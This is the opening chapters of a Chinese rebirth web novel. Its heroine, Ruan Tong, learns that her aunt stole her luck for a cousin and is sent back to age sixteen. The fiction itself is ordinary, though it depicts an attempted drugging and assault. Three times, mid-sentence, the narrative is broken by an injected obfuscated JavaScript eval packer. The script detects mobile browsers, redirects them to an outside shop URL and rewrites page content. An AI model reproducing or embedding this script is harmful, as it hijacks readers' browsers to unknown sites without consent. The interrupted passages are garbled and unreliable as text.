《每天都在打脸假锦鲤》 1. 虚假现实 闲暇时,阮瞳偶尔会回顾过去的二十六年,却总觉得像雾里看花。虽然记得人生大事的轮廓,可一旦她想深究细节,记忆仿佛被浓雾笼罩,模糊不清。 就像是……有人在阻止她去深究。 她的人生也曾一帆风顺,却不知从何时起急转直下。 自上学起,阮瞳便成绩优异,轻松考入各阶段的重点学校。然而,谁也不曾想到,高中三年始终名列前茅的她会在高考时发挥失常。紧接着,她父亲投资的项目爆雷,损失惨重,而母亲却在此时火速和父亲离婚,果断放弃了她的抚养权,和别的男人远走高飞。 父亲变卖资产仍不足抵债,只得日夜为公司奔波,无奈将她托付给弟弟一家照顾。就在公司资金链终于恢复正常时,她父亲却在一次出国洽谈的途中,意外失踪,下落不明…… 此后,阮瞳被叔叔阮诚一家收养,原本应由她代管的股份,也顺理成章地由叔叔阮诚代管。 高考失利的她只比一本线高出十五分,这让所有知道消息的老师和同学大跌眼镜。毕竟在他们心中,阮瞳一直是冲刺国内顶尖学府的尖子生。 虽然不知道发生了什么事情,但主课的任课老师在得知她的成绩后,还是第一时间聚在办公室,结合往年的分数线对阮瞳的成绩进行了详细的探讨,最终建议她报考L省的L大。虽然离S市很远,但L大毕竟是L省历史悠久的985高校。按照以往分数线,阮瞳的分数应该刚好能进L大的冷门专业。 然而,阿姨文颖在得知这件事后却极力劝阻,反而劝阮瞳报考S市的一所大学,话里话外都在担心她去了L大后,不能及时得知她父亲的消息。 仿佛是怕阮瞳阳奉阴违报考L大,文颖甚至紧盯着阮瞳的一举一动,直到亲眼看着她在报考页面上填了S市一所普通大学的志愿。 九月,阮瞳拿着录取通知书去大学报了道。叔叔阮诚原本想等她报完道再离开,但文颖却以“要来不及送堂妹阮茵茵去S大报道”为由,刚把阮瞳送到学校就拉着阮诚离开了大学。 高考失利、父亲失踪、母亲背叛家庭,毫不犹豫放弃她的抚养权…… 接二连三的打击让阮瞳无暇顾及文颖骤然改变的态度,就连堂妹阮茵茵超常发挥考上重点大学这件事,她都是勉强提起精神,道贺了两句。 她的全部精力都放在了父亲失踪这件事上。 一开始,阮瞳还会期待警方那边有新的进展,但随着调查的深入,有用的信息越来越少,和警方联络的频率也越来越低。渐渐地,阮瞳不再奢望奇迹的出现。 在慢慢适应大学的新环境后,阮瞳用忙碌的学业麻痹着她千疮百孔的心。当初录取的专业并非她喜欢的,所以在第二个学期,阮瞳就转了专业,换成了她喜欢且擅长的英语专业,还利用闲暇时间选修了德语。 大学四年和研究生三年,阮瞳无心交友,一心投入在学习上。虽然她偶尔会感觉头脑仿佛被薄雾般混沌、模糊,但凭借天生的语感和勤奋专研,她始终将成绩保持在专业前10%,在校期间拿过好几个竞赛得奖和校级奖学金。 可惜的是,一直到阮瞳硕士毕业,也没有父亲阮戚风的消息。 毕业后,阮瞳进了S市知名的外企工作,住在通勤半小时的小区里。 和本硕期间一样,她依旧很少回叔叔阮诚家。只有逢年过节这种不得不回去的时候,她才会回去。 不仅是因为每次回去都会遇到管控欲过强的阿姨文颖、无法掩饰眼底的怜悯和窃喜的堂妹阮茵茵,更是因为……那个家里,有从小到大就喜欢对她动手动脚的堂哥阮锡安。 如果只是小时候,还可以说是小孩之间的打闹,然而步入青春期后,阮瞳越发厌恶起阮锡安粘腻在她身上的视线。 只是没想到在26岁生日的前一天,阮瞳久违地接到了阿姨文颖的电话。 一顿毫无意义的嘘寒问暖后,文颖终于切入正题:“瞳瞳啊,你也26岁了,该考虑考虑以后的事情了,总是不谈恋爱也不是个事啊。阿姨这边有个和你年龄差不多的男孩子,各方面条件都很不错,你们可以见面聊一聊啊……” 经过九年的相处,阮瞳已经足够了解文颖的性格,如果她不同意,文颖恐怕不会善罢甘休,指不定要用什么理由道德绑架她,甚至……有可能会亲自上门“带”她过去。 阮瞳不想在这种事情上和文颖多费口舌,便答应了碰面。 然而,等第二天,阮瞳到了餐厅后,却发现除了文颖和一个陌生的男性以外,阮锡安居然也在,还刚好坐在她旁边。 菜刚上齐,文颖就迫不及待地介绍起来:“我们家瞳瞳啊,从小就聪明,现在在外企上班……” 阮瞳无暇顾及文颖像推销商品般的语气以及对面男人透过厚厚的眼镜片不断打量着她的目光,她轻簇起眉头,借着桌布的遮挡,大腿微微向右偏,避开了阮锡安探向她大腿的手。 阮瞳垂眉掩去眼底的烦躁,阮锡安现在是越来越出格了,仗着她不愿意撕破脸就胆大妄为,而且他为什么会出现在文颖安排的相亲上? 她赴约只不过是看在文颖是她的长辈,她本身并没有谈恋爱的打算。 只是,阮瞳没想到文颖口中“各方面条件都不错的男孩子”是指面前这位刚29岁就已经隐约可以看见头顶稀疏的头发、身上穿着的衣服也能明显看见皱痕的男士。 最让她忍受不了的是他那和阮锡安如出一辙的视线。自以为隐晦所以从头到尾打量着她,又在某些部位停留得格外之久。 阮瞳突然间没了胃口,只觉得浪费了难得的休息日。况且,从昨天文颖给她打电话到今天赴约,文颖似乎都不曾想起今天是她的生日。 她突然觉得应付这些人真的很累。 “阿姨,我还有事,先失陪了。”阮瞳拿起手机和包,起身时只留下这么一句,不再给她挽留的余地。 走出包间的大门时,阮瞳隐约听见身后传来文颖诧异的呼喊和脚步声,呼喊声里夹杂着文颖在外人前被一向听话的“傀儡”拂了面子的薄怒。 阮瞳只当没听见她的呼喊,在文颖追出来前,脚步轻快地侧身闪进隔壁空着的包间,待文颖的脚步声远去,她才从另一边的楼梯悄然离开。 走出餐厅后,阮瞳打开微信,没有理会文颖持续不断的消息轰炸,转头给蛋糕店的老板打了电话:“老板,我现在能来取蛋糕吗?” 等阮瞳取了蛋糕回到家,已经是下午一点多。 因为平时饮食不规律,阮瞳时常就会胃痛和胀气。她刚刚在餐厅没吃几口就提前离开,胃早就有些痛了。 阮瞳将打包的简餐和6寸蛋糕放在铺着碎花餐布的小桌子上,她拆开蜡烛,认真地在蛋糕上插上6根蜡烛。 一个人吃的6寸的蛋糕插不下26根蜡烛,只能用6根替代了。 “喵~”养得油光水亮的狸花猫从一旁的置物架跳到椅子上,歪着头打量蜡烛上闪烁的火焰,兽瞳里闪烁着跃跃欲试的光。 “小堇,不可以捣乱哦。” 阮瞳一眼就看穿了小猫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923944|192689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意图,她眼疾手快地摁住邪恶狸花猫的爪子,将他抱在怀里。她垂下眼望向蛋糕,浓密修长的睫羽在火光的照耀下在脸上垂下一片阴影,掩去了她眼底晦暗不明的情绪。 “小堇,该许愿啦。许什么愿好呢?”阮瞳捏了捏柔软的猫咪爪爪,望着燃烧的蜡烛出神。 想到下落不明的父亲、冷漠绝情的母亲和曾经那个还年轻、还充满希望的自己…… 如果可以的话……她好想回到她的16岁。 那个一切都还未发生的16岁,依然充满了希望的16岁。 …… 那天,阮瞳做了一个格外长的梦。 梦的开端,她听到两个略显怪异的声音在她脑海里对话,内容也让人匪夷所思。 “001,为什么会选择她?这只是个普通人吧?” 被称做001的那方没有回应,一阵电流声后,才听到不含感情的电子音:“她帮过我。” 像是感受到阮瞳不解的情绪,一段回忆出现在她的脑海中。 小时候的她和父母住在南方,那时候父亲刚开始创业,一家三口租房住在一栋居民楼的顶楼。主卧外面就是居民楼的露天花园,平时只有房东一家和阮瞳家可以进出花园。 花园的花坛里种了一颗绿叶青葱的芒果树和其他大大小小的果树,有时候房东阿姨会将比手掌还大的青芒分给她。 一天,一只受伤的麻雀扑棱着翅膀掉在了花园里,坐在窗前看书的阮瞳听到动静后,好奇地打开窗户,便看到了落在土堆上、奄奄一息的麻雀。 在父亲的陪同下,年幼的她带着小麻雀去了宠物医院,后来还用蛋卷铁盒给麻雀做了个窝。等麻雀养好伤后,她才站在院子里,仰着头看着小麻雀展翅飞翔,回归自然。 再然后,就是前几天的台风天,一只麻雀和落叶被吹得七零八落地掉在她房间的阳台上。阮瞳抱起它时,还觉得这场景有些似曾相识。 原来……是她忘了小时候的这件事。 回忆结束后,001出现在阮瞳的脑海里:“看来你想起来了。” 它没有实体,只是一团微微波动的白色光圈。 阮瞳眨了眨眼,显然没办法将这团白色的未知生物和记忆里娇小柔软的麻雀划上等号,而且……无论是这段对话,还是这个光圈001,都更像是她光怪陆离的梦境的产物。 她经常会做这样的梦。 梦里她还没有失去一切,虽然父亲忙于工作、母亲平日里对她要求严格,但她不是孑然一身,依然有人可以依靠。通过高中三年的努力学习,她也考上了名校…… 因而,每次大梦惊醒时,阮瞳总会抱住陪在她身旁的小堇,怅然若失地呆坐在床上。 001没有指望阮瞳回答,继续说道:“为了报答你,我会实现你的愿望,同时恢复你的自主意识,摆脱原著的限制。” “原著……?”001的话猛然拉回阮瞳飘忽的思绪,虽然她依然怀疑这一切只不过是她的梦,但还是忍不住在心底期盼起那微乎其微的可能性。 或许,这个叫001说的会是真的。她的人生本不应该是这样的…… “这是由一本书创造出来的小世界,我会为你导入原著的所有内容,你可以不再受原著内容的控制,重新回到16岁。” 001没再多说,直接传输了整本书的内容。 那是本叫《逆袭锦鲤》的书。 书中的主角,是阮瞳再熟悉不过的人…… 她的堂妹阮茵茵。 2. 可笑真相 阮茵茵的父亲阮诚在工商局上班,母亲文颖在高中任教,夫妻感情谈不上恩爱,倒也相敬如宾。结婚后很快诞下一子阮锡安,第二年诞下一女阮茵茵。 父母双体制的背景下,阮茵茵的家庭条件明显优于其他同龄人,然而……无论是容貌、身高,还是学习成绩,只要有阮瞳在,外人永远不会注意到影子般的阮茵茵。 阮诚夫妻俩平时工作忙碌,顾不上阮锡安和阮茵茵是常态,然而即便是周末这样的闲暇时刻,两人也不是能在家呆得住的性子,不是出去打麻将就是和朋友交际应酬,阮锡安和阮茵茵从小就是由家政阿姨一手带大。 没有父母管制,阮茵茵格外挑食,只爱吃油炸食物和肉类。而家政阿姨对阮锡安和阮茵茵也没有那么尽心尽力。为了应付文颖每日的检查,阿姨不顾阮茵茵的喜好,只顾菜式营养均衡,以至于阮茵茵每次吃饭时只挑她喜欢的吃,其余一概不碰。 结果就是,阮茵茵到了高二,身高堪堪突破一米五的关卡。虽然五官清秀,身形却格外瘦小。 而阮瞳从小在南方长大,因为阮戚风工作需要,初中才回到了S市。南方的水土养人,加上阮瞳从不挑食,肤色、长相和身高都在同龄人中脱颖而出。 因而,每次阮瞳和阮茵茵在一起时,只能听到别人夸赞阮瞳,到阮茵茵时,则是不咸不淡地说一句“挑食不好,多和你姐姐学学”。 转折是在高二升高三的暑假。 原著里,文颖在上山为阮茵茵祈福的途中,机缘巧合碰上一位仙风道骨的老者,她从老者那得知了能够逆风翻盘、改变命运的方法。 然而在001的叙述里,阮瞳看到了真相。 是文颖千方百计找到这位老者,威逼利诱得到了损人利己的方法。偏偏,她并不是为了自己,而是为了女儿阮茵茵。 按照老者的说法,文颖需要找到和阮茵茵生辰相近的人,并拿到对方长期贴身佩戴之物,通过法术窃取对方的气运。一旦双方之间相距过远,法术就会失效。 于是,在这个暑假,阮瞳外婆离世前送给她的吊坠就弄丢了。 也正是从高三起,阮瞳就感觉记忆力和反应能力慢了许多。以往背英语单词,她基本上念一遍就能记住,现在却要念三遍。做题目时,她也始终感觉有一层迷雾隔着,做题速度直线下降。虽然她能勉强保持成绩不下滑,但整体上要比从前更加费劲。 阮茵茵的成绩反而逐渐好了起来,从班级中下游慢慢进步到班级中上游。在好几次联考中,阮茵茵更是押中重点题型,被班上同学戏称为锦鲤。在高考时,阮茵茵超常发挥,考上S市的重点大学,彻底坐实了“锦鲤”这一称号。 阮瞳看到这里都没有太大的反应,只是明白了她曾经感觉到的违和以及……文颖这些年来对她过强的掌控欲是因何而起。 直到,她看到文颖拿到她送给爸爸阮戚风的平安扣,如出一辙地动了手脚,阮瞳面上强撑的冷静瞬间碎裂,她呼吸急促起来,压下心头翻涌的情绪,沉默地看着后面的内容。 阮茵茵学渣逆袭进入重点大学后,像是脱胎换骨般,美白、护肤、化妆和穿搭一样没落下,寝室桌子和柜子里都是品牌的化妆品和各式各样的裙子。她游刃有余地游走在学生会和社团,更是因为“锦鲤”运气,获得班长、系草、学生会会长等众多优质男生的青睐。 在一系列读者最爱看的“她逃他追”、“追妻火葬场”等经典内容后,阮茵茵才选择了追求者中家境最好的男生。没等毕业,阮茵茵就和对方订了婚。 订婚晚宴上,阮茵茵不胜酒力,靠在休息室的沙发休息时,她抚摸着手上的钻戒,不禁回想起高中时的“初恋”,有些惋惜最后没能和对方在一起。 不过,阮茵茵很快就想起先前听闻对方如今性情大变,早已不是当年模样,这种惋惜又霎时散尽。 …… 显然,在阮茵茵进入大学后,原著就着重描写她和不同男人的爱恨情仇,对阮瞳的着笔反而少了很多,但阮瞳还是东拼西凑凑出了全貌。 在后面涉及到她的地方,001甚至一改先前走马观灯的叙述方式,让她身临其境地体会了那些会发生在她身上的事。 到26岁为止,都和阮瞳曾经经历过的一样。 后来,文颖又“好心”给阮瞳介绍了好几个男性,都是她精挑细选过的“优质青年”。不是性格有缺陷、有暴力倾向,就是本事不大、脾气却很大。 最后一个相亲对象是阮锡安“倾情”推荐的,见面那天,文颖刚好有事,只有阮瞳一个人赴约。 没有文颖在场,于情于理都应该将位置订在餐厅的大堂,然而阮瞳收到的是包厢的信息。 一向谨慎的她留了个心眼,但还是没想到阮锡安会出现在包厢里。关上包厢的门后,他和那位所谓的相亲对象甚至想一左一右坐在阮瞳两边。 见文颖不在场,阮瞳觉得没有必要虚以委蛇,她停在最外侧的位置,声音清冷道:“看来是我走错了包厢,那我先走了。” 阮锡安却不想轻易放她离开,用文颖的名义硬是让阮瞳留了下来。 饭席间,阮瞳注意到阮锡安和另一个男人之间的眉来眼去,她微微蹙起眉头,隐约有不好的预感。 果然,两人很快就借着敬酒的由头,往阮瞳的杯子里倒满了酒。 阮瞳没有错过阮锡安凑近和她说话时,另一人隐晦的动作。 等她接过酒杯时,阮瞳趁阮锡安放松警惕的瞬间,将满满一杯白酒尽数泼到他的脸上。 辛辣的白酒透过镜框飞溅到眼睛里的痛楚让阮锡安狼狈不堪地捂住了脸,他语气狰狞:“阮瞳,你……”只是一张嘴,白酒便顺着脸颊流淌下来,反而让他呛到不行。 见状,另一人没管阮锡安的狼狈,反而直接越过餐桌,仗着体型和力量的优势,擒住了阮瞳的右手。 悬殊的差距让阮瞳根本无法挣脱。 挣扎无果后,阮瞳没再白费力气,她知道这种一对一的局面只是暂时的,一旦阮锡安恢复正常,一对二的情况下,她想要离开这个包厢只会是天方夜谭。 必须要在阮锡安还没处理好之前,解决掉另外一个人。 见对方根本没把她放一回事,甚至还嘲笑起阮锡安,阮瞳没再试图挣开手腕,反而打量起手边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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既然阮锡安不顾堂兄妹仅剩的情分和体面,做出这种恶心的事情,那她也没有再粉饰的必要。 “出什么事情了?”男人没有错过阮瞳苍白惊慌的脸色和轻颤的手,他拧起眉头,轻拉住她的手腕。 温和干燥的掌心贴在手腕时的触感让阮瞳一颤,她敏锐地察觉到男人语气里难掩的关怀和克制的接触,她面上一怔,看起来,他并不像是阮锡安的同伙。 只是,没等阮瞳细想,她就听到身后紧闭的包厢门再次被用力拉开,阮锡安气急败坏的声音紧接着就伴随着脚步声传来。 “阮瞳!你别给脸不要脸,在我家白吃白喝九年,让你陪我们玩玩怎么了?装清纯给谁看?一股子狐媚劲……” 听清阮锡安的污言秽语后,阮瞳的神情冷了下来,总算是明白了他出格行为背后的想法。 原来阮锡安是这么看待她的?白吃白喝? 真是好笑…… 她父亲阮戚风失踪前,公司资金链已经恢复正常。这几年在职业经理人的运作下,每年盈利更是可观,但分红都被文颖牢牢捏在手中。阮锡安的新车、阮茵茵买的别墅和他们家新购置的房产,哪一样不是出自原本应该属于她的分红? 这些年,阮瞳碍于叔叔阮诚的情面,即便文颖和阮锡安越来越过分,她也不曾提出想要拿回分红。 阮锡安竟然好意思说她白吃白喝? 3. 她的决心 因为刚才那杯白酒,阮锡安已然没有了先前的风度翩翩,额前的头发狼狈地耷拉着,眼镜镜片上还残留着水渍,整个人散发着阵阵酒味。 阮锡安抹了把脸,抬眼就看到走廊里拉扯着的两人,他嘴角勾起一抹讥讽的弧度:“怎么?原来是已经有小白脸了,所以看不上我们?还是说,嫌我们两个还不够?”他最了解男人的劣根性,越是这种违背道德和底线的行为,有时候反而越让人觉得刺激。 “怎么样?哥们,要不要一起?”阮锡安嘴角噙着笑,走近了些。他早就收买了餐厅的工作人员,只要他这边没联系,工作人员就不会让其他人来这一片区域。 虽然不知道这个男人为什么会到这里,但阮锡安并不介意让他加入。 毕竟……人多一些,也会更有意思。 看清阮锡安的真面目后,阮瞳反而冷静了下来,她眉眼间掩不住对他的厌恶:“阮锡安,你真恶心。” 见阮锡安还没动手的迹象,阮瞳快速思考着破局的办法,她早就注意到从刚才到现在,走廊上都没有其他人出现。想都不用想,这肯定是阮锡安的手笔。 看来……她只能从旁边这个陌生的男人入手了。他刚才的关心不像是假的,或许,他不会助纣为虐。 阮瞳打从心底反感这种被动、只能依赖他人的情况,但也清楚仅凭她一人无法对抗阮锡安和他的同伙,她思索着说服陌生男人的理由。 而阮锡安走近之后,才看清了阮瞳身边的人的长相,他有些意外:“姜酌?你怎么在这?” 姜酌? 阮瞳没想到他们居然会认识,都说物以类聚、人以群分,和阮锡安玩得好的人会是什么好人? 局面骤然间对她极其不利,阮瞳下意识咬住发白的下唇,垂眼望向地面,看来她只能孤注一掷了。 只是…… 还没等她抬脚狠狠踩上那个叫姜酌的人,对方便松开了她的手腕。随着姜酌的动作,阮瞳的身侧带起一阵风,风中隐约能闻到他身上的淡淡的松木气息和烟味,那烟味不重,更像是别人抽烟时沾上的味道。 一声惨叫拉回了阮瞳发散的思绪,这声音……怎么像是阮锡安的? 阮瞳怔愣着循声望去,便看到刚刚还站在她面前的阮锡安此时正面色痛苦地捂着腹部蜷缩在地上,而匆忙从包厢里跑出来的另一个人也被姜酌单手擒住,强行摁在墙壁上。 阮瞳缓慢地眨了眨眼,没想到这个人还没等她开口,就已经放倒了阮锡安他们…… 明明是她刚才怎么努力都无法挣脱的人,现在就这么轻而易举地被他摁在墙上、动弹不得。 姜酌没有理会被他摁在墙上的男人发出的哀嚎,他从口袋里拿出手机,解锁后,递给阮瞳,余光瞥见阮锡安伸手、想要阻拦的动作时,他毫不犹豫地补上一脚。他眉眼凌厉,嗓音因为压抑着怒火格外低哑:“报警。” 看着递到眼前的手机,阮瞳睫毛轻颤了两下,强忍着的酸意还是涌上眼眶,她握住手机,竭力克制着声音里的颤抖:“好,谢谢你。” 阮锡安痛苦地喘息着,和阮瞳相比,他自然是有体型和力量的优势,但在姜酌面前,这种优势荡然无存。只有他知道姜酌刚刚用了多大力气,现在疼得他连呼吸都在痛。 阮锡安咬紧牙关:“姜酌你他妈的……多管什么闲事?你以为她还是高中时候的阮瞳?就算你现在对她乞怜摇尾,也得不到任何好处……” 阮瞳没再在意阮锡安话里对她的贬低,反而是“高中”两个字让她一怔。 听这意思,这个叫姜酌的男人是高中的时候就认识她了?可为什么……她对他没有一点印象? 阮瞳抿紧唇瓣,压下心底的疑问,现在不是在意这些事情的时候。她指尖触上快要黑屏的手机屏幕,刚准备拨号,手机壁纸便猝不及防地映入眼帘。 阮瞳瞳孔微缩,余光注意到姜酌向她投来的视线,她故作镇定地快速按下三个数字,静静等待电话接通。 短短的几秒里,阮瞳的脑海里闪过许多画面,阮锡安狰狞丑陋的真面目、突然出现却毫不犹豫站在她这边的姜酌、知道这件事后文颖和阮诚可能的反应…… 还有刚才那张手机壁纸…… …… 和她有关的内容到这里戛然而止,阮瞳的意识重新回笼,但方才身临其境体会到的恶意仍让她心有余悸。 她无从得知阮锡安有没有得到应有的惩罚。或许原著里那个什么都不知道的“她”会又一次被文颖的威逼利诱和阮诚的无奈说服,只是不再和他们来往…… 然而,在摆脱了原著强行施加的降智光环、得知了真相和未来的走向后,阮瞳却绝对不会再妥协。 如果是她……她一定要阮锡安付出代价。 即便他是叔叔阮诚的儿子,她名义上的堂哥。 还有文颖…… 对于文颖的动机,原著里分毫没有提到,仿佛阮瞳一家就应该被她拿来踩在脚下,就应该是所谓的女主阮茵茵的对照组。 也就只有曾经的她傻傻地认为,即便文颖有意拉踩她来捧高阮茵茵,但她还有阮诚这个亲人。为了这点仅存的亲情,她可以尽量去无视文颖若有若无的针对。 结果呢? 原来她过去九年所遭受的一切,从来都不是什么命运弄人,而是人心歹毒。 想到这些,阮瞳控制不住地握紧拳头,指尖掐进掌心的痛感却远不及她心头的万分之一。 等阮瞳再抬起头时,一向柔和的杏眼凌厉起来。既然遇到了001,并且获得了重来的机会,那么这一次,所有属于她的东西,她都要夺回来。 至于那个突然出现、毫不犹豫帮助了她的人…… 姜酌。 阮瞳在心底默念了几遍他的名字,再次确定她在高中时并没有见过对方。她不确定原著里姜酌后来的情况,如果阮锡安的事情被文颖摆平了,那么以阮锡安的性子,他一定不会放过对他动手的姜酌。 而那个被所谓的“亲情”绊住手脚的阮瞳,恐怕不能保住她的救命恩人。 既然她不能在未来报答他,就让她在这一次找到他、报答他吧。 001默不作声地等待着,在看到阮瞳坚韧的眼神后,001适时开口说道:“你的自主意识已觉醒,不会再受剧情和人设控制,如果其他没有问题,现在送你回去。” 001的声音让阮瞳猛然回过神来,她看着那柔和波动着的光圈,话在嘴边辗转几番,才轻声问道:“你……为什么会帮我?” 即便001已经给出解释,阮瞳仍感觉难以置信。仅仅是因为那种小事,这个明显属于更高次元的思想体就会如此慷慨地施以援手吗?曾经的001又为什么会以麻雀的形态出现在这个世界? 这一切,真的不是她的奢望吗?或许一觉醒来,她会发现她还是那个孑然一身的阮瞳。 可是,如果这真的是梦,那这个梦也太长、太真实了,她会梦到自己的人生不过是小说里的一场闹剧吗?或许,这并不是她的梦,她也可以相信这个叫001的思维体。 “……” “抱歉,由于缄默原则,我不能向你解释过多。我在这个世界能用的能量只够回溯一次和完整了解一个人物的生平事迹,如果你后续确定想了解的人,只需要在心里默念你的诉求。” 阮瞳没再多问,001的善意让她无所适从,她沉默了片刻后,声音微哽:“001……谢谢你。”她看着那团光圈,下意识伸手轻碰了下,触感意外的柔软,像是一团棉花糖,“我们还会再见面吗?”点点光屑萦绕在指尖,又缓缓消散。 “或许会。”001不确定,这一次回溯耗尽了他攒了许久的能量,下一次再来这个小世界不知道会是什么时候。不过,他并不后悔,毕竟当初在他能量即将耗尽、连正常形态都无法维持时,是阮瞳救了他。 看到阮瞳微微抿起的唇,光圈微微闪烁,它的声音依旧平稳,听起来却多了点温度:“阮瞳,去改变你的人生吧。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923946|192689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值得一个更好的属于你自己的人生。” 001说完,阮瞳的梦境也结束了。然而梦里的内容却像烙印般深深刻在她脑海里,她想忘也忘不了。 阮瞳再次醒来时,是被闹铃的振动吵醒的,她本能地循着声音关掉了手机闹钟。睡眼朦胧,但她的头脑格外清明,没有丝毫的困意,这种身体和思维的割裂感让她微微蹙起眉头,她点开手机屏幕。 系统显示的时间是早上六点二十,不是她以往工作日设定的七点半的闹铃,手机的型号也是很久以前的,厚度和手感都和她前不久刚换的手机有所区别。 身上盖着的不是她往常盖的夏凉被,而是套着碎花被套的薄被,更重要的是,她所在的房间也不是租的房子里面积不超过十五平方米的卧室,而是更宽敞、更明亮的房间。 “小堇?”阮瞳下意识像往常一样拍了拍身边的床,却没有听到他的叫声。 这么说……梦里的一切都是真的,无论是001,还是她亲身经历的未来,而她也真的回到了以前。 回到了她生日愿望里的16岁。 只是,时间似乎不太对得上。 她16岁时,应该是在念高二的第二学期,但是现在显示的日期却是8月28日。 是高二上学期即将开学的时候。 阮瞳来不及细想,身体的本能让她迅速掀开被子,走去卫生间刷牙洗脸。 她所在的重点高中早读从六点五十开始,当时阮戚风在阮瞳收到重点高中录取通知书后,就在学校门口旁的小区里买下了一套独栋的小别墅,她早上即便掐着点睡到六点二十也不会迟到。 大概是因为她经常怀念从前,阮瞳意外地发现她居然还记得不少高中时候的事情,自然也包括每个学年的第一学期,学校都会重新组织分班考试这件事。 想到这里,阮瞳想起以前她就吐槽过学校为什么多此一举,明明可以直接用上一学年期末考试的排名进行分班的,还偏偏要在开学后再进行一次分班考试。 如果她没记错的话,今天就是分班考试的日期。 换做是旁人,大概就跟整个假期都没复习、直接去裸考一样,心里指不定得多慌张。不过,对于阮瞳而言,还在她可接受的范围内。毕竟,她本科和研究生都在和英语打交道,即便顶着降智光环,她也拿了好几次校级和市级英语竞赛的奖项。 念书的时候,为了多赚点生活费,阮瞳还接过家教的兼职,所以她大概还记得高中语文和数学的基本知识,但具体到古文默写和一些公式,她是忘得一干二净,更不用提专业性强的物理和化学了。至于剩下的几门副科,她倒是可以用常识先应付一下。 不过,对于阮瞳而言,她现在这个水平正好。 初步的计划已然在她脑海中成型。 阮瞳对着镜子将水乳轻柔地涂抹在脸上,高中时期的她五官还没有完全长开,脸颊带着些许婴儿肥,肌肤透亮到看不到明显的毛孔。长而密的睫毛低垂时,在眼睑投下一片阴影,衬得那双湿润明亮的杏眼愈发清澈。鼻头圆润小巧,下面是不施脂粉也粉嫩湿润的唇。 她已经很久没见过自己这副模样了。 高三以后,阮瞳的视力直线下降,除了睡觉以外,镜框眼镜几乎焊在她的脸上。等到后来读研和工作,虽然换成了隐形眼镜,但脸上的疲态也浓重了许多,哪里比得上胶原蛋白最丰富的高中时期? 阮瞳用黑色皮筋简单地扎了个高马尾,将细碎的额发拨至耳后,她回到床前,换上了衣柜里挂着的蓝白色校服。 高中时期的她不爱运动,腰间和大腿还带着软肉,但简单宽松的校服已然遮不住玲珑有致的曲线。短袖校服的领口露出白得晃眼的脖颈、纤细精致的锁骨以及一小截红绳。 阮瞳抬手抚上领口下的玉坠,因为紧贴着肌肤,玉坠上还残留着她的体温,摸起来格外温润。 是外婆送给她的玉坠,也还没有弄丢。 一切都还没有开始,都还来得及…… 4. 分班考试 阮瞳指腹摩挲着颈间的玉坠,神色晦暗不明。片刻后,她扣好校服领口的纽扣,默不作声地将书桌上的笔记本和笔袋收进书包,转身走出了房间。 清晨六点半,别墅的二楼以上仍是一片寂静。这个时间,估计家里醒着的只有她和已经在厨房准备早餐的王阿姨。 阮瞳刚走下楼梯,王阿姨就从厨房探出了头,“瞳瞳,起床了呀。阿姨今天做了你爱吃的鸡蛋饼。” “王阿姨早呀。” 望见那张久违的笑脸,阮瞳一时有些恍惚。前一世,她父亲投资破产后,王阿姨便被辞退,自此再无音讯。算起来,她已经有九年不曾见过王阿姨了。 从初中到高中,王阿姨照顾了她整整六年,早就超越了雇佣关系,成为这个家里为数不多真心待她的人。 等阮瞳走到餐桌前,看清那份裹满鸡蛋、火腿、香菇和芝士后厚实得不容忽视的鸡蛋饼,心中那丝恍惚终于消散,她忍不住笑了,“王阿姨,我还是带着路上吃吧。”王阿姨总担心她用脑过度,做饭都是铆足了劲,恨不得把所有的营养塞进一道菜中。 “好嘞,喝豆浆还是牛奶啊?”王阿姨笑着擦了擦手上的水,动作利落地从橱柜里拿出保鲜袋。 “豆浆吧,谢谢王阿姨。” 趁王阿姨忙着打包的间隙,阮瞳歪头打量着这个她高中住了三年的家。 当初买房时,在所有备选里,只有这一栋是紧挨着学校北门的。三层的小别墅外加院子,不仅上下学方便,环境也很清幽,是再好不过的学区房。 只有他们一家三口和王阿姨住在这里,别墅里有不少闲置的房间。王阿姨睡在一楼的卧室里,阮戚风夫妇的卧室在二楼,阮瞳的卧室、书房和琴房都在三楼。 别墅的装修和家具大部分是阮戚风敲定的,只有三楼属于阮瞳的部分,是她自己布置的,所以三楼温馨可爱的画风和楼下规整的画风截然不同。 王阿姨很快装好了早餐,阮瞳不动声色地收回视线,将玻璃杯塞进书包里,拎着还滚烫的鸡蛋饼推门而出。 别墅区在小区普通公寓楼的后面,正好挨着小区侧门,从侧门出去就是学校北门。只要她走快一点,从家到教室只需要花五分钟。 八月底的清晨,阳光依旧毒辣,微风拂过,带着灼人的热意。 快走到校门口时,阮瞳看到门卫正在逐一检查学生证,她心里猛地一沉,收拾书包时,她并没有看到她的学生证。 她的学生证放在哪里了? 身体的本能优于她的思考,阮瞳下意识伸手摸向书包侧袋,果然在里面摸到了硬质的学生证。 等顺利进了学校后,阮瞳缓步走在阴凉的树荫下,心中百感交集。 